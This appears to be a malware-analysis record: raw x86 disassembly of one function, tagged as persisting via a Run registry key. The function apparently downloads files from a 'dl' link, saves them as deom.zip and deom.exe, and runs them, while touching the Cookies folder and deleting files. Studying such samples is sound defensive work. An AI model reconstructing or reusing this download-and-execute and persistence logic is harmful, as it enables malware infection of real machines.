Function at 0x41097a
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push 8
call fcn.004622d9
add esp, 4
mov dword [ebp - 4], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebp - 8], 0
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersCookies
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x464c80
call fcn.004622eb
add esp, 0x28
mov dword [ebp - 0xc], eax
push 0x4fc2fe
push dword [ebp - 0xc]
call fcn.004044e4
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x410a0a
push ebx
call fcn.004622d3
add esp, 4
cmp dword [ebp - 0x10], 0
je 0x410b30
mov dword [ebp - 0xc], esp
push 0
push 0
push 0x2a
push 0
mov eax, 0x27
call fcn.004622e5
cmp dword [ebp - 0xc], esp
je 0x410a47
push 6
call fcn.004622df
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.scripting.FileSystemObject
push 0x10030
push 0
push dword [ebp - 4]
push 3
mov ebx, 0x465ff0
call fcn.004622eb
add esp, 0x28
test eax, eax
je 0x410b30
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_FoldersCookies
push 0x80000301
push 0
push 3
push 3
mov ebx, 0x464c80
call fcn.004622eb
add esp, 0x28
mov dword [ebp - 0xc], eax
push str..txt
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x410ad8
push ebx
call fcn.004622d3
add esp, 4
push 0x80000301
push 0
push 1
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x410af7
mov eax, 0x4fc2fe
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
push str.DeleteFile
push 0x10030
push 0
push dword [ebp - 4]
push 4
mov ebx, 0x4656c0
call fcn.004622eb
add esp, 0x34
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410b30
push ebx
call fcn.004622d3
add esp, 4
push 1
mov eax, 0x54c930
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0x59310c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x74]
mov ebx, eax
test ebx, ebx
je 0x410b5c
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x410b6c
push ebx
call fcn.004622d3
add esp, 4
push 1
push 1
push 0x59310c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov ebx, dword [0x593154]
call fcn.00401d0f
push ebx
push ecx
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push 0x593108
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xdc]
dec eax
jns 0x410bbd
push 4
call fcn.004622df
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410bd0
push 1
call fcn.004622df
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebx]
test eax, eax
jne 0x410bed
mov eax, 0x4fc2fe
push eax
push 1
mov eax, 4
mov ebx, 0x4b60f0
call fcn.00462303
add esp, 0x10
mov dword [ebp - 0x18], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x410c1b
mov eax, 0x4fc3ed
push eax
push 1
mov ebx, 0x463d80
call fcn.004622eb
add esp, 0x10
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x410c41
push ebx
call fcn.004622d3
add esp, 4
mov dword [ebp - 0x20], 0
push 0
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov eax, str._md5
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
mov eax, str._a_href_http:__dl
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call fcn.00411377
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x410c8e
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x410c9e
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x410cae
push ebx
call fcn.004622d3
add esp, 4
push dword [ebp - 0x30]
push str.http:__dl
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x410cd6
push ebx
call fcn.004622d3
add esp, 4
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x410cea
push ebx
call fcn.004622d3
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [0x593154]
call fcn.00401d0f
push ebx
push ecx
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push 0x593108
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xdc]
dec eax
jns 0x410d29
push 4
call fcn.004622df
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410d3c
push 1
call fcn.004622df
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x1c], 0
push 0
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x20], 0
push 0
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x24], 0
push 0
lea eax, [ebp - 0x24]
push eax
push 1
mov eax, 0x54c708
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x14]
call fcn.0040f4d6
mov ebx, eax
test ebx, ebx
je 0x410d9d
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x410dad
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x410dbd
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x410dcd
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x410ddd
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x410ded
push ebx
call fcn.004622d3
add esp, 4
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0xc], eax
push str.deom.zip.tmp
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x410e2a
push ebx
call fcn.004622d3
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x410e3d
mov eax, 0x4fc2fe
push eax
push 1
mov ebx, 0x463f40
call fcn.004622eb
add esp, 0x10
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410e60
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [0x593154]
call fcn.00401d0f
push ebx
push ecx
mov dword [ebp - 0xc], 0
push 0
push dword [ebp - 0xc]
push 0x593108
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0xdc]
dec eax
jns 0x410e9b
push 4
call fcn.004622df
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x410eae
push 1
call fcn.004622df
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x14], ebx
push 0
mov ebx, dword [ebp - 0x14]
push dword [ebx]
push 0xffffffffffffffff
push 0xb
push 0x160c133e
push 0x52010001
call fcn.004622fd
add esp, 0x18
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0xc], eax
push str.deom.zip.tmp
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x410f10
push ebx
call fcn.004622d3
add esp, 4
mov dword [ebp - 0x14], 0
push 0
push dword [ebp - 0x14]
push 0x411fa7
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call fcn.004115e2
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x410f3e
push ebx
call fcn.004622d3
add esp, 4
push 0x10001
push 0x6010000
push 0x52010001
push 1
mov ebx, 0x462770
call fcn.004622eb
add esp, 0x10
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 0
push 0
push dword [ebp - 0x10]
mov dword [ebp - 0x14], 0
push 0
push dword [ebp - 0x14]
mov dword [ebp - 0x18], 0
push 0
lea eax, [ebp - 0x18]
push eax
mov dword [ebp - 0x1c], 0
push 0
push dword [ebp - 0x1c]
mov eax, 0x54c95f
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0xc]
call fcn.00401d2f
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x410fb7
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x410fc7
push ebx
call fcn.004622d3
add esp, 4
cmp dword [0x593144], 5
jne 0x411132
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0xc], eax
push str.deom.zip.tmp
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x411011
push ebx
call fcn.004622d3
add esp, 4
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0x14], eax
push str.deom.exe
push dword [ebp - 0x14]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41104e
push ebx
call fcn.004622d3
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x411061
mov eax, 0x4fc2fe
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x411075
mov eax, 0x4fc2fe
push eax
push 2
mov ebx, 0x463ef0
call fcn.004622eb
add esp, 0x1c
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x411098
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4110a8
push ebx
call fcn.004622d3
add esp, 4
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0xc], eax
push str.deom.exe
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4110e5
push ebx
call fcn.004622d3
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x41110a
mov eax, 0x4fc2fe
push eax
push 3
mov ebx, 0x462650
call fcn.004622eb
add esp, 0x28
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x41112d
push ebx
call fcn.004622d3
add esp, 4
jmp 0x4112ee
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0xc], eax
push str.deom.zip.tmp
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41116f
push ebx
call fcn.004622d3
add esp, 4
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0x14], eax
push str.deom.zip
push dword [ebp - 0x14]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4111ac
push ebx
call fcn.004622d3
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x4111bf
mov eax, 0x4fc2fe
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4111d3
mov eax, 0x4fc2fe
push eax
push 2
mov ebx, 0x463ef0
call fcn.004622eb
add esp, 0x1c
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4111f6
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x411206
push ebx
call fcn.004622d3
add esp, 4
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0xc], eax
push str.deom.zip
push dword [ebp - 0xc]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x411243
push ebx
call fcn.004622d3
add esp, 4
push 0
mov ebx, 0x462850
call fcn.004622eb
add esp, 4
mov dword [ebp - 0x14], eax
push 0x54c9e9
push dword [ebp - 0x14]
mov ecx, 2
call fcn.0040106f
add esp, 8
mov dword [ebp - 0x18], eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x411280
push ebx
call fcn.004622d3
add esp, 4
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x411293
mov eax, 0x4fc2fe
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x4112a7
mov eax, 0x4fc2fe
push eax
push 0x60001
push 0x160c0d51
push 0x52010001
push 3
mov eax, 5
mov ebx, 0x4b8e20
call fcn.00462303
add esp, 0x28
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x4112de
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4112ee
push ebx
call fcn.004622d3
add esp, 4
push 1
mov eax, 0x546987
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0x59310c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x74]
mov ebx, eax
test ebx, ebx
je 0x41131a
push ebx
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x41132a
push ebx
call fcn.004622d3
add esp, 4
push 1
push 0
push 0x59310c
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
mov ebx, dword [ebp - 4]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x465fe0
call fcn.004622eb
add esp, 0x10
call fcn.004622d3
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x411373
push ebx
call fcn.004622d3
add esp, 4
mov esp, ebp
pop ebp
ret